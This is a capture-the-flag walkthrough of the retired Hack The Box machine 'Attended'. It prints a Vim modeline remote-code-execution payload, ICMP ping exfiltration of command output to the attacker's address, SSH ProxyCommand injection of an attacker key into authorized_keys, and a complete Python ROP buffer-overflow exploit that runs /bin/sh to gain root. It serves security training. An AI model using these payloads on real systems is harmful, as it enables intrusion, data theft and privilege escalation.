This post documents the complete walkthrough of Attended, a retired vulnerable VM created by guly and freshness, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Attended is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.221 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-28 10:56:47 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 25/tcp on 10.10.10.221
Discovered open port 22/tcp on 10.10.10.221

Hmm, port 25/tcp eh? Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,25 -A --reason 10.10.10.221 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA)
|   256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA)
|_  256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519)
25/tcp open  smtp    syn-ack ttl 62
| fingerprint-strings:
|   GenericLines, GetRequest:
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     5.5.1 Invalid command: Pipelining not supported
|   Hello:
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     5.5.1 Invalid command: EHLO requires domain name
|   Help:
|     220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
|     214- This is OpenSMTPD
|     214- To report bugs in the implementation, please contact [email protected]
|     214- with full details
|     2.0.0: End of HELP info
|   NULL:
|_    220 proudly setup by guly for attended.htb ESMTP OpenSMTPD
| smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org [10.10.14.53], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP,
|_ This is OpenSMTPD To report bugs in the implementation, please contact [email protected] with full details 2.0.0: End of HELP info
|_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)

Looks like smtp is in service but nmap scripts didn’t produce anything useful other than a username (guly) and a domain (attended.htb). I’d better put attended.htb into /etc/hosts.

Verifying the user

Using standard SMTP commands MAIL FROM and RCPT TO, I was able to at least verify the existence of [email protected].

Sending an email to <[email protected]>

Let’s see if we can send a test email to <[email protected]> to solicit any response. But first, let’s set up a simple SMTP server with Python’s smtpd module to receive mails like so.

python3 -m smtpd -n -c DebuggingServer 10.10.14.53:25

Next, we can send the email with swaks, a.k.a Swiss Army Knife SMTP.

And this appears about two minutes later…

I wonder what’s the issue with freshness that guly is talking about. It seems any email from freshness will take priority.

Interestingly, OpenSMTPD is smart enough to send the email reply from guly back to my “fake” SMTP server.

Looks like I need to send guly some attachment!

I got this second reply from guly.

Hmm, “open your attachment with vim” eh? Exploiting vim for remote code execution?

CVE-2019-12735 - Vim/Neovim Arbitrary Code Execution via Modelines

This exploit looks simple enough. Let’s give it a shot. To create a responsive payload and without knowing the environment, we need something to tell us that a command was successfully executed.

test.txt
:!uname -a && ping -c1 -p beef 10.10.14.53 ||" vi:fen:fdm=expr:fde=assert_fails("source\\!\ \\%"):fdl=0:fdt="

I’ve chosen ping as the response mechanism after many trial-and-error attempts. If uname -a was successfully executed, a ping echo request (icmp.type == 8 - Wireshark display filter) with beef as the pattern will be sent to me.

Bingo!

Data exfiltration with ICMP

Armed with this insight, I wrote the following script to reconstruct the data exfiltrated in an ICMP echo request packet.

read.sh
#!/bin/bash

FILE=$1

tshark -r $FILE \
       -T fields \
       -e data 2>/dev/null \
| grep -Eo '.{4}$' \
| tr -d '\n' \
| xxd -p -r

The payload in the attachment would look something like this.

:!`id | xxd -p -c2 | xargs -n1 -I'{}' ping -c1 -p'{}' 10.10.14.53` ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Prior to that, I’ve established that essential commands such as xxd and xargs, required for this exfiltration to work are present in the machine. Some of enumeration examples are shown here.

id

pwd

ls -laR /home

It’s evident that /home/shared is world-writable.

Foothold

The important clue to gaining a foothold lies in a Vim swap file at /home/guly/tmp/.config.swp.

This is what it looks like after restoration.

guly mentioned something about config being written to /home/shared where freshness must test it out ASAP. If I had to guess, I would say that there’s a cron job from freshness looking out for this /home/shared/config to test it out with SSH, likely to be ssh -F /home/shared/config.

I’ve verified that guly has write access to /home/shared/config with the following payload.

test.txt
:!touch /home/shared/config && ping -c1 -p beef 10.10.14.53 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

ProxyCommand in SSH

Now that I know freshness will SSH test /home/shared/config, and guly has write access to it, I could leverage on ProxyCommand from ssh_config(5) to do something nefarious with it.

I’ll make use of ProxyCommand to inject a SSH public key I control to /home/freshness/.ssh/authorized_keys like so.

freshness.txt
:!echo -en 'Host *\n  User freshness\n  ControlMaster auto\n  ControlPath /tmp/%[email protected]%h:%p\n  ControlPersist 4h\n  TCPKeepAlive yes\n  ServerAliveInterval 60\n  ProxyCommand echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC0ODesILzy9Zmg3Du2Lg9WgQOVFRw8AXmzcufAiSNbs >>/home/freshness/.ssh/authorized_keys\n' > /home/shared/config ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Awesome!

The file user.txt is at freshness’ home directory.

Privilege Escalation

During enumeration of freshness’ account, I notice the presence of the authkeys directory in freshness’ home directory.

In it, there’s a note.

Notice that the authkeys binary is non-executable in attended but executable in attendedgw.

Hold up. There’s another machine??!! Which means I’ve been living in the Matrix this whole time.

Fashioning a port scanner with curl

So attendedgw is at 192.168.23.1.

And since I have SSH access to attended through freshness I could do a dynamic port forwarding with it. On the other hand, curl supports SOCKS proxy and the Gopher protocol, which I’ll make use to fashion a simple port scanner like so.

scan.sh
#!/bin/bash

ssh -i freshness -D 9999 [email protected] -f -N 2>/dev/null

HOST=192.168.23.1
PROXY=socks://127.0.0.1:9999


for PORT in $(seq 1 10000); do
    if curl -s \
            -x $PROXY \
            gopher://$HOST:$PORT \
            &>/dev/null; then
        echo "Port $PORT is open"
    fi
done

Let’s give it a shot.

Sweet. Now what?

AuthorizedKeysCommand

Look at what I found in /etc/ssh/sshd_config at attended that offers us a glimpse into what authkeys is.

If I had to guess, I would say that the uncommented version of this sshd_config resides in attendedgw.

We can tell that authkeys takes in four arguments from the get-go:

  1. %f - the fingerprint of the key or certificate
  2. %h - the home directory of the user
  3. %t - the key or certificate type
  4. %k - the base64-encoded key or certificate for authentication

Vulnerability analysis of authkeys

To find out the actual arguments that are passed to authkeys during an actual SSH session, I added a fake authkeys (that echo all its arguments to stdout and tee it off to a log). I also added AuthorizedKeysCommand and AuthorizedKeysCommandUser to a OpenSSH server in an OpenBSD environment (yes, I went that far :wink:)

authkeys
#!/bin/sh

echo [email protected] | tee /tmp/authkeys

On the other hand, I generated a pair of SSH keys with ssh-keygen like so.

ssh-keygen -f guly
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in guly
Your public key has been saved in guly.pub
The key fingerprint is:
SHA256:G7rEqAxvV5etCzzbG5bJ5Umq85GZJZQJ6vI9Vl1/TbY [email protected]
The key's randomart image is:
+---[RSA 3072]----+
|      .          |
|     . . o       |
|    .   +   .   o|
|   .   . . . . oo|
|  . .   So=   .Eo|
|   o =.+o/..   . |
|.   [email protected]&.o      |
| +...o.X.o       |
| .+.  +o=o       |
+----[SHA256]-----+

I then proceeded to delete the private key and attempted a SSH session like so, with only the public key submitted as proof of identity.

ssh -i guly.pub [email protected]

Where 1.2.3.4 is the OpenSSH server. This is what was echo‘d to the log.

You can clearly see what are the four corresponding arguments from the previous section. Now that we know what are the arguments, let’s discuss what authkeys actually does with them.

It first checks for the number of argments. If it’s not five (path to the executable and the four arguments), it prints “Too bad, Wrong number of arguments!” to stdout and exit with a status of 0.

Long story short, if the number of arguments is five, it proceeds to discard all the arguments save for the last argument - the base64-encoded key. This brings us to the base64-decoding subroutine at sub_4002c4, where the buffer overflow vulnerability resides.

Offset to the return address

Knowing that a stack space of 0x300 (768) bytes was set aside to hold the base64-decoded data, I generated a cyclic pattern of 800 bytes for the purpose of determining the offset to the return address. Take note that we need to base64-encode the pattern before we pass it as the last argument.

The string at $rsp will be used to search for the offset.

That’s it. The offset to the return address is 776!

Time for the litmus test to see if the offset is correct with the following payload.

Bombs away…

Sweet. Looks like the offset is correct. Take note the address 0x40036b is important. We’ll need to break here very often during exploit development later.

Decoded buffer

The decoded public key blob is at 0x6010c0 in the data segment. Suppose I send in the base64-encoded portion of the public key I generated above. This is what it looks like in gdb.

Contrast this with a manual base64 decoding of the public key blob.

OpenSSH public key format

The public key saved by ssh-keygen is written in the so-called SSH-format, which is not a standard in the cryptography world. It’s structure is <algorithm> <key> <comment>, where the <key> part of the format - the public key blob is base64-encoded.

The structure of the public key blob is pretty simple, and is described in two different RFCs. RFC 4253 (“SSH Transport Layer Protocol”) states in section 6.6 that

    The "ssh-rsa" key format has the following specific encoding:

          string    "ssh-rsa"
          mpint     e
          mpint     n

while the definition of the types string and mpint can be found in RFC 4251 (“SSH Protocol Architecture”), section 5

    string

        [...] They are stored as a uint32 containing its length
        (number of bytes that follow) and zero (= empty string) or more
        bytes that are the value of the string.  Terminating null
        characters are not used. [...]

    mpint

        Represents multiple precision integers in two's complement format,
        stored as a string, 8 bits per byte, MSB first. [...]

This means that the above sequence of bytes is interpreted as 4 bytes of length (32 bits of the type uint32) followed by that number of bytes of content. Armed with this insight, the only logical place to put our payload is the modulus, which can go up to 16 * 1024 bits or 2048 bytes. Plenty of space.

We can make use of Crypto.PublicKey.RSA.construct from PyCryptodome to create a OpenSSH public key from the exponent and modulus. Here’s my skeleton exploit code.

exploit.py
from Crypto.PublicKey.RSA import construct
import binascii
import os

# modulus - this is where the payload resides

payload = 'A' * 754 + 'B' * 8  # after adjustment of "ssh-rsa" and exponent, offset is 754

# construct RSA public key

e = 65537L
n = int(binascii.hexlify(payload), 16)

key = construct((n, e), consistency_check=False)

os.write(1, key.exportKey(format="OpenSSH"))

Exploit development

The gadgets in authkeys are very limited.

python -m ropper --file authkeys
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%



Gadgets
=======


0x000000000040037d: adc byte ptr [rdx], al; mov ebx, 0xf02d0ff3; ret;
0x000000000040036f: adc cl, 0xe8; ret;
0x00000000004003c1: add al, ch; or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x000000000040037e: add bh, byte ptr [rbx - 0xfd2f00d]; ret;
0x0000000000400360: add byte ptr [rax + 0x31], cl; ror byte ptr [rax + 0x31], 0xf6; mov rdi, rsi; pop rdx; ret;
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
0x00000000004003c6: add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall;
0x00000000004003c4: add byte ptr [rax], al; add byte ptr [rax + 1], bh; xor rdi, rdi; syscall; ret;
0x00000000004003c0: add byte ptr [rax], al; call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c5: add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret;
0x000000000040035f: add byte ptr [rax], al; xor rax, rax; xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall;
0x00000000004003ca: add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall;
0x00000000004003c8: add dword ptr [rax], eax; add byte ptr [rax], al; xor rdi, rdi; syscall; ret;
0x000000000040035e: add eax, dword ptr [rax]; add byte ptr [rax + 0x31], cl; ror byte ptr [rax + 0x31], 0xf6; mov rdi, rsi; pop rdx; ret;
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c2: call 0x3cf; mov eax, 1; xor rdi, rdi; syscall; ret;
0x0000000000400381: cvtps2pi mm6, xmm0; ret;
0x0000000000400380: cvtss2si esi, xmm0; ret;
0x0000000000400399: dec dword ptr [rax + 0x31]; leave; ret;
0x0000000000400377: fcomp st(0), st(0); ret;
0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
0x000000000040037f: mov ebx, 0xf02d0ff3; ret;
0x000000000040037a: mov ecx, 0x2100ff3; mov ebx, 0xf02d0ff3; ret;
0x0000000000400368: mov edi, esi; pop rdx; ret;
0x0000000000400393: mov rax, -1; xor rcx, rcx; ret;
0x0000000000400367: mov rdi, rsi; pop rdx; ret;
0x000000000040037b: movss xmm0, dword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x000000000040036d: not al; adc cl, 0xe8; ret;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall;
0x00000000004003c3: or byte ptr [rax], al; add byte ptr [rax], al; mov eax, 1; xor rdi, rdi; syscall; ret;
0x000000000040036a: pop rdx; ret;
0x0000000000400363: ror byte ptr [rax + 0x31], 0xf6; mov rdi, rsi; pop rdx; ret;
0x0000000000400376: sbb dh, 0xd0; ret;
0x0000000000400370: shr eax, 1; ret;
0x0000000000400366: test byte ptr [rax - 0x77], 0xf7; pop rdx; ret;
0x0000000000400373: xor cl, 0xe0; sbb dh, 0xd0; ret;
0x000000000040036c: xor dh, 0xd0; adc cl, 0xe8; ret;
0x0000000000400362: xor eax, eax; xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039b: xor ecx, ecx; ret;
0x00000000004003cd: xor edi, edi; syscall;
0x00000000004003cd: xor edi, edi; syscall; ret;
0x0000000000400365: xor esi, esi; mov rdi, rsi; pop rdx; ret;
0x0000000000400361: xor rax, rax; xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039a: xor rcx, rcx; ret;
0x00000000004003cc: xor rdi, rdi; syscall;
0x00000000004003cc: xor rdi, rdi; syscall; ret;
0x0000000000400364: xor rsi, rsi; mov rdi, rsi; pop rdx; ret;
0x000000000040039c: leave; ret;
0x000000000040028a: ret;
0x00000000004003cf: syscall;
0x00000000004003cf: syscall; ret;

58 gadgets found

Well, syscall is available but only one pop gadget in pop rdx; ret;. To craft a meaningful exploit, we need a way to control the contents of the rax (syscall number), rdi (first argument), rsi (second argument), and rdx (third argument). The idea here is to make use of the gadgets to chain together an exploit to execve(2) /bin/sh -c in order to achieve remote command execution. In short, we need to control four registers: rax, rdi, rsi, and rdx.

Controlling rax

There are three gadgets involving [er]?a[hlx][,;] (regex) useful to our cause of controlling rax.

0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
0x000000000040036d: not al; adc cl, 0xe8; ret;
0x0000000000400370: shr eax, 1; ret;

We need rax to be equal to 0x3b (or 59) for execve(2).

The idea is to transform 0xffffffff through some sequences of not and shr to achieve the number we want. To that end, I wrote the following script to brute-force all the sequences.

seq.py
from itertools import product
import sys

seq = {}

for n in range(16):
    combo = list(product('sn', repeat=n)) # up to 15 should be enough
    for this in combo:
        eax = 0xff
        for op in this:
            if op == 's':
                eax = eax >> 1
            elif op == 'n':
                eax = ~eax & 0xff
        if eax not in seq.keys():
            seq[eax] = this
        else:
            if len(seq[eax]) > len(this):
                seq[eax] = this

arg = int(sys.argv[1])

print("Shortest sequence for %d is: %s" % (arg, list(seq[arg])))

Let’s give it a shot.

Notice that I’m assuming eax starts off with 0xff. How can we get 0xff from 0xffffffff? Well, by “shifting right by 1-bit” twenty-four times :wink:. Let’s verify this in gdb to make sure we start on the right foot.

Time to verify the rest of the sequence. Note that we can combine a series of “shift right by 1-bit” (s) operations in gdb. For example, ['s', 's', 's'] in gdb is x >> 3.

Controlling rdi, rsi and rdx

There are four gadgets involving all three registers.

0x000000000040036a: pop rdx; ret;
0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
0x0000000000400380: cvtss2si esi, xmm0; ret;
0x0000000000400367: mov rdi, rsi; pop rdx; ret;

But before we look into how we can combine the gadgets, we need to look at where to store our strings. Suppose I use the skeleton exploit code to generate a public key and send it to authkeys. This is what’s decoded at 0x6010c0.

You can see from above the payload starts at 0x6010d6. Now, let’s switch to a DWORD view starting at 0x6010d6.

I’ll need the first two 8-byte space to store the address to path and argv respectively.

The rest of the space can be used to build argv for storing /bin/sh, -c and the command we want to execute. It’s clear that the address of argv is at 0x6010e6.

IEEE-754 Floating Point Converter

Let’s say the address to path or in our case /bin/sh is 0x601106, we want 0x601106 to be in rdi. Judging from the gadgets above, we need xmm0 to contain the IEEE-754 floating-point value of 0x601106 before it gets converted to an integer in esi and moved to rdi eventually. Register rdx should then contain the address to the hexadecimal representation of the IEEE-754 floating-pint value of 0x601106. We can have a feel of how that conversion of 0x601106 should look like.

Enough talking. Let’s get to the exploit code.

exploit.py
from Crypto.PublicKey.RSA import construct
import binascii
import os
import struct
import sys

# IEEE-754 conversion - well, sort of
# See https://www.h-schmidt.net/FloatConverter/IEEE754.html
def float_to_hex(f):
    return struct.unpack('<I', struct.pack('<f', f))[0]

# modulus - this is where the payload resides

# ROP gadgets

# 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
rdx_to_xmm0 = 0x40037c

# 0x0000000000400380: cvtss2si esi, xmm0; ret;
cvtss2si_to_esi = 0x400380

# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;
rsi_to_rsi_pop_rdx = 0x400367

# 0x000000000040036a: pop rdx; ret;
pop_rdx = 0x40036a

# 0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
load_eax_neg_1 = 0x400393

# 0x0000000000400370: shr eax, 1; ret;
shr_eax_by_1 = 0x400370

# 0x000000000040036d: not al; adc cl, 0xe8; ret;
not_al = 0x40036d

# 0x00000000004003cf: syscall;
syscall = 0x4003cf

# 0x000000000040032e : inc eax ; jmp 0x4002f1
inc_eax = 0x400399

# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;
rsi_to_rdi_pop_rdx = 0x400367

# 0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
exit = 0x4003c7

# ROP chain

# build argv[] at 0x6010e6
cmd = sys.argv[1] + '\x00'
args = '\x00'.join("/bin/sh -c".split(' ')) + '\x00'
argv = []

loc = 0x6010e6 + (len(args.split('\x00')) + 1) * 0x8
for arg in range(len(args.split('\x00'))):
    if (arg == 0):
        argv.append(loc)
    else:
        loc += len(args.split('\x00')[arg-1]) + 1
        argv.append(loc)

# offset to return address
payload  = struct.pack('<Q', float_to_hex(argv[0]))  # argv[0] goes to rdi
payload += struct.pack('<Q', float_to_hex(0x6010e6)) # argv goes to rsi
for arg in argv:
    payload += struct.pack('<Q', arg)
payload += struct.pack('<Q', 0x0)                    # null-terminated array
payload += args + cmd + 'A' * (754 - (len(argv) + 1) * 0x8 - len(args) - len(cmd) - 16) # after adjustment offset is 754

# set eax to 0x3b or 59, syscall number for execve(2)
# if eax = 0xffffffff, then we need to shr 24 times to reduce to 0xff
# shortest sequence for 59 is: ['s', 'n', 's', 's', 's', 'n', 's', 's']
payload += struct.pack('<Q', load_eax_neg_1)
for _ in range(25):
    payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(3):
    payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(2):
    payload += struct.pack('<Q', shr_eax_by_1)

# pop argv[0] to rdx
# mov [rdx] to xmm0; convert xmm0 to esi (rsi); mov rsi to rdi
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x6010d6)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)
payload += struct.pack('<Q', rsi_to_rdi_pop_rdx)

# pop argv to rdx
# mov [rdx] to xmm0, convert xmm0 to esi (rsi)
payload += struct.pack('<Q', 0x6010d6 + 0x8)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)

# pop 0 to rdx
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x0)

# syscall
payload += struct.pack('<Q', syscall)

# go nicely go
payload += struct.pack('<Q', exit)

# construct RSA public key

e = 65537L
n = int(binascii.hexlify(payload), 16)

key = construct((n, e), consistency_check=False)

os.write(1, key.exportKey(format="OpenSSH"))

Bombs away

Let’s do a local port forwarding to the SSH (2222/tcp) service in attendedgw (192.168.23.1) through attended (192.168.23.2) like so.

ssh -i freshness -L 2222:192.168.23.1:2222 [email protected] -f -N

Generate a payload to inject a SSH public key we control to /root/.ssh/authorized_keys in attendedgw like so.

python exploit.py "echo $(cat root.pub) >> /root/.ssh/authorized_keys" > test.pub

Send the payload.

ssh -i test.pub [email protected] -p 2222

And profit!

To get root.txt with a root shell is trivial.

:dancer: